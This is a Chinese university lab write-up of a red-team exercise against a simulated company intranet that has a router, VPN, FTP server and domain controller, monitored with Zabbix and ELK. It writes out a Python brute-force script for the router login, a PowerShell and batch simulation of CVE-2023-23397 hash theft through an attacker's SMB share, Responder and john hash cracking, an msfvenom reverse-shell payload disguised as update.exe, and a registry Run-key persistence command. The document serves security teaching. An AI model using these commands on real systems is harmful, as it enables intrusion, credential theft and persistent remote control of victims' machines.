admin 管理员组文章数量: 887609
1 实验目的
-
进一步熟悉掌握网络环境配置,特别是路由器、VPN以及防火墙在网络环境中的作用。
-
提高对Kali安全渗透策略方法的了解,熟练掌握msfconsole等软件的使用。
-
了解网络环境监控的基本策略与方法。
-
了解Zabbix性能监控的基本流程。
-
了解ELK框架日志分析管理的基本流程。
2 场景设计
2.1 背景与目标
-
背景描述:
假设在某华东高校校友企业椒椒公司的内网有一台ftp服务器,仅供内网主机上传或下载文件,该内网通过一台路由器与外部通信,路由器向公网暴露了管理web界面,可尝试弱密码爆破。在内网中,管理员登录的域控服务器可通过配置好的密钥对直接访问ftp服务器,同时可以向其他普通用户发送弹窗提示。一名有些基本攻防知识的黑客爱好者在收集了椒椒公司的基本信息后决定尝试对公司内网进行攻击。
-
攻击目标:
获取目标ftp服务器权限,上传恶意软件,诱导用户下载以获取持久控制权限。
2.2 网络架构
本次攻防演练场景拓扑图如图1所示。整体分为192.168.83.1/25和192.168.83.129/25两个网段,前者为麻烦制造者和路由器WAN口所在的外部网络环境,后者为路由器LAN口、受害主机和监控主机所在的内网环境。
1.3 设备系统
- 麻烦制造者:Kali Linux、Windows11,实现一系列攻击行为,kali主机的时间较北京时间晚一个小时。
- 普通用户:Windows 10,可接受管理员弹窗指令
- 管理员:Windows Server 2022,域控服务器
- 目标服务器:Ubuntu 22.04,提供内网ftp服务,较北京时间晚15个小时。
- 路由器:OpenWrt仿真,提供VPN服务
- 性能监控者:Zabbix
- 日志监控者:ELK
1.4 使用的技术
nmap扫描、弱密码爆破、VPN接入、钓鱼邮件(CVE-2023-23397)、哈希登录、反弹木马……
2 环境搭建重难点
2.1 VPN配置
-
路由器方面:
- 使用指令安装所需要的软件包
opkg install openvpn-openssl openvpn-easy-rsa luci-app-openvpn
。 - 生成相关证书、密钥并移动到指定文件夹下。
- 配置服务端配置文件,这里需要注意压缩格式和协议与用户端一致。
- 在防火墙中创建VPN区域并允许VPN到WAN、LAN区域的转发以及LAN区域到VPN区域的转发。
- 启动VPN服务器。
- 在
/etc/sysctl.conf
文件末尾添加net.ipv4.ip_forward = 1
并运行sysctl -p
使其生效来允许ip转发功能。
- 使用指令安装所需要的软件包
-
kali攻击机方面:
在终端运行指令
sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
将VPN分配的地址段写入防火墙,允许通信。
2.2 CVE-2023-23397复现
CVE-2023-23397是一个权限提升漏洞,攻击者可以利用该漏洞访问受害者的 Net-NTLMv2 响应身份验证哈希并冒充用户。一旦攻击者成功利用 CVE-2023-23397 漏洞,便可通过向受害者发送恶意 Outlook 邮件或任务来窃取 NTLM 身份验证哈希。当 Outlook 客户端检索和处理这些邮件时,这些邮件会自动触发攻击,可能会在预览窗格中查看电子邮件之前导致攻击。换句话说,目标实际上不必打开电子邮件就成为攻击的受害者。
其原理是攻击者在发送一封约会短信时,可以在设置提醒闹铃文件为共享文件服务器上的一个地址,这样受害者在收到邮件时就会直接主动访问这个共享文件服务器并传递当前登录用户的哈希。
但由于微软对outlook的更新,很难找到受漏洞影响的软件版本,部分解决方法中说可以使用outspy插件来修改以允许后台对共享文件服务器的访问。实际上,用该插件修改后将会导致程序闪退,无法进行。所以我在复现时写了一个powershell脚本来模拟这个过程,脚本内容如下:
# 获取 Outlook COM 对象
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$inbox = $namespace.GetDefaultFolder(6) # 6 = 收件箱
# 定义邮件监听函数
function Process-Email {
param (
[Parameter(Mandatory=$true)]
$MailItem
)
Write-Host "新邮件: $($MailItem.Subject)"
# 在这里可以调用任何自定义命令
# 例如执行一个外部程序:
Start-Process "C:\Program Files (x86)\trigger.bat" -WindowStyle Hidden
}
# 监听邮件
while ($true) {
$items = $inbox.Items
foreach ($item in $items) {
if ($item.Unread) {
Process-Email -MailItem $item
$item.Unread = $false # 标记为已读
}
}
Start-Sleep -Seconds 5
}
trigger.bat文件内容:
@echo off
\\10.8.0.2\1
pause
2.3 反弹木马生成
运行如下指令生成反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.83.71 LPORT=999 -f exe > update.exe
这里的ip地址使用外网地址是为了实现脱离VPN还能完成攻击。
3 攻击流程
3.1 攻击流程与战术
3.2 具体过程与操作
-
nmap资产扫描:
-
使用命令
sudo nmap -Pn -T4 -p 80 --open 192.168.83.71/25
扫描开放80端口的主机。图3 nmap资产发现结果 可以看到扫描到的ipv4地址有三个,第一个是路由器的地址,其余两个是日志监控者的宿主机和性能监控者的宿主机的地址。至此,我们成功获取了攻击入口点。
-
访问http://192.168.83.1,发现这是一个路由器的管理员界面。
图4 路由器管理员web界面
-
-
弱密码爆破管理员界面:
-
假设攻击者已经根据搜集的资料构建了字典,编写python脚本对管理员界面进行爆破。
图5 弱密码爆破结果 爆破使用的脚本如下:
import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 目标URL url = "https://192.168.83.1/cgi-bin/luci/" # 读取用户名和密码列表的函数 def read_file(file_path): with open(file_path, "r") as f: # 返回去除空格和换行符的列表 return [line.strip() for line in f.readlines()] # 从文件中读取用户名和密码 usernames = read_file("usernames.txt") passwords = read_file("passwords.txt") # 请求头部 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "https://192.168.177.1/cgi-bin/luci/", } # 爆破过程 def brute_force(): for username in usernames: for password in passwords: # POST 数据 data = { "luci_username": username, "luci_password": password } # 发送 POST 请求 response = requests.post(url, headers=headers, data=data, verify=False) print(response.status_code) # 检查返回的状态码和内容,判断是否成功 if response.status_code == 200: print(f"成功登录!用户名: {username}, 密码: {password}") return else: print(f"尝试用户名: {username}, 密码: {password}, 登录失败:(") # 调用函数开始爆破 brute_force()
-
登录输入用户名
root
、密码SJTU1896
,进入管理员界面。图6 管理员界面 此时,可查看在线用户,发现可攻击资产。
-
-
接入内网VPN
-
发现路由器运行了VPN服务,下载配置文件。
图7 VPN客户端配置下载 配置文件中包含了连接时采用的协议、压缩方式、客户端网段以及证书等关键信息。
-
运行
sudo openvpn --config my.ovpn
连接VPN,接入内网,发现此时IP地址已经改变,并且右上角有VPN标识。图8 接入VPN后的IP地址 图9 VPN通信验证 kali可以ping通路由器的VPN转发端口,证明确实介入了VPN内网。
-
-
发送钓鱼邮件获取管理员登录哈希
-
输入
sudo responder -I tun0
,在kali的VPN网卡上启动伪造共享文件服务器。 -
从windows主机发送一封含payload的邮件给管理员用户。
图10 使用python脚本发送含payload的邮件 此时,管理员用户将会收到一封邮件。
图11 管理员收到邮件 -
在用户收到邮件后,系统会自动访问伪造共享服务器,并传递哈希尝试登录,这时,在kali上就可以捕获哈希以及域控服务器的管理员用户名。
图12 虚假共享服务器收到哈希
-
-
使用哈希登录管理员电脑
-
将哈希写入
hash.txt
,运行指令john --format=netntlmv2 --wordlist=rockyou.txt hash.txt
碰撞明文密码。图13 碰撞明文密码 -
使用
xfreerdp /v:192.168.83.135 /u:Administrator /p:'!QAZ2wsx'
登录域控服务器。图14 远程桌面登录
-
-
通过管理员电脑登录ftp服务器上传恶意软件并下载其他文件到攻击机
-
发现主机上有ftp客户端,查看历史记录发现暴露了ftp服务器的ip地址。
图15 ftp服务器历史记录 -
尝试ssh登录ftp服务器,发现已经配置了密钥可以免密登录。
-
上传反弹木马
update.exe
到ftp服务器。图16 传入木马并检查时间
-
-
通过管理员电脑向其他域成员发送下载文件通知
-
在kali上启动监听,等待内网用户接入。
图17 开启C2监听 此时启动的监听IP是192.168.83.71,这是外网端口,是为了实现不使用VPN对内网主机进行控制。
-
在域控服务器的终端输入
msg
指令发送消息。图18 管理员发送指令
-
-
其他成员下载恶意软件后被植入木马
-
在输入完上面的指令后,域中的普通用户收到弹窗提醒。
图19 普通用户收到指令 -
在普通用户运行恶意软件后,kali将会收到消息。输入shell即可连接运行病毒的主机。
图20 收到反弹shell连接 -
查看恶意软件的位置。
图21 恶意软件在受害主机中的位置 -
运行
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyProgram" /t REG_SZ /d "C:\Users\PatrickStar\data.exe" /f
将恶意软件路径写入注册表,实现开机自启动。图22 受害机注册表
-
4 改进空间与问题分析
-
VPN不稳定,时好时坏
怀疑是因为以手机热点作为总的路由转发点,因此带宽较小,可以尝试使用真实路由器接入。为了暂时解决这个问题,我们给kali配置了两张网卡,这样即使在攻击的过程中VPN断开了连接,我么仍然可以关闭VPN继续完成攻击。
-
网络配置
在配置kali的静态IP地址时,网上的教程普遍是说要修改配置文件并且禁用图形界面的修改方式,但实际上这种方法无效的,只需要在图形界面修改并重启网络服务即可。同时,各个主机的网关与DNS服务器都需要仔细配置来更好地模拟真实环境。
-
恶意软件免杀
可以使用加壳或其他技术来实现免杀以更加接近真实环境。
版权声明:本文标题:《网络安全防御技术》攻防演练 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1735081058h1699469.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论